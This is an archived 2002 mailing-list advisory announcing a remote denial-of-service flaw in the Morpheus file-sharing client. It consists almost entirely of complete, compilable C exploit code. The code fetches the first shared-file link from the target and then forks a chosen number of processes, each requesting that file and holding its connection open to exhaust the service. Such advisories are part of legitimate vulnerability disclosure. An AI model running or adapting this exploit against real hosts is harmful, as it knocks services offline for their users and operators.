Request share files Deny of Service

From: Gabriel A. Maggiotti (gmaggiotat_private)
Date: Wed Feb 06 2002 - 10:59:19 PST

  • Next message: Dean: "Re: vim error?"

    ---------------------------------------------------------------------------
    Web:  http://qb0x.net 			Author: Gabriel A. Maggiotti
    Date: Febrary 07, 2002			E-mail: gmaggiotat_private
    ---------------------------------------------------------------------------
    
    General Info
    ------------
    Problem Type	:  Request share files Deny of Service
    Product		:  Morpheus
    Scope		:  Remote
    Risk		:  Low 
    
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <unistd.h>
    #include <fcntl.h>
    
    #define MAX	1000
    
    
    /***************************************************************************/
    
    int main(int argc,char *argv[])
    {
    	int sockfd, numbytes;
    	char receive[MAX];
    	char *top, *botton;
    	int i;
    	int loop;
    	int port;
    
    	struct hostent *he;
    	struct sockaddr_in their_addr;
    
    
    	if(argc!=4)
    	{
    	fprintf(stderr,"usage:client hostname [port]"\
    		" [cant of loops]\n");
    	exit(1);
    	}
    
    
    	if((he=gethostbyname(argv[1]))==NULL)
    	{
    	perror("gethostbyname");
    	exit(1);
    	}
    
    	port=atoi(argv[2]);
    	loop=atoi(argv[3]);
    
            if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
            {
                    perror("socket");
                    exit(1);
            }
    
    
            their_addr.sin_family=AF_INET;
            their_addr.sin_port=htons(port);
            their_addr.sin_addr=*((struct in_addr*)he->h_addr);
            bzero(&(their_addr.sin_zero),8);
    
            if( connect(sockfd,(struct sockaddr*)&their_addr,\
                     sizeof(struct sockaddr))==-1)
                    exit(1);
    
    
            if(send(sockfd,"GET / HTTP/1.0\n\n",16,0) ==-1)
            {
                    perror("send");
                     exit(0);
            }
    
            if( (numbytes=recv(sockfd,receive,MAX,0))==-1 )
            {
                    perror("recv");
                    exit(1);
            }
    
            receive[numbytes]='\0';
            botton=strstr(receive,"href=\"");
            botton=botton+6;
            top=strchr(botton,'"');
            *top = '\0';
            sprintf(receive,"GET %s HTTP/1.0\n\n",botton);
            printf("file: %s",receive);
            close(sockfd);
    	sleep(1);
    /***************************************************************************/
    
    	for(i=0; i<loop; i++)
    	{
    
    		if( fork()!=0)
    		{
    
    			if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
    			{
    				perror("socket");
    				exit(1);
    			}
    
    			if( connect(sockfd,(struct sockaddr*)&their_addr,\
    				 sizeof(struct sockaddr))==-1)
    				exit(1);
    
    			if(send(sockfd,receive,strlen(receive),0) ==-1)
                    	{
                    		perror("send");
                    		exit(0);
                    	}
    
    			sleep(1000);
    			close(sockfd);
    			exit(0);
    		}
    
    	}
    
    
    	printf("Done...\n");
    	return 0;
    }
    



    This archive was generated by hypermail 2b30 : Wed Feb 06 2002 - 12:30:07 PST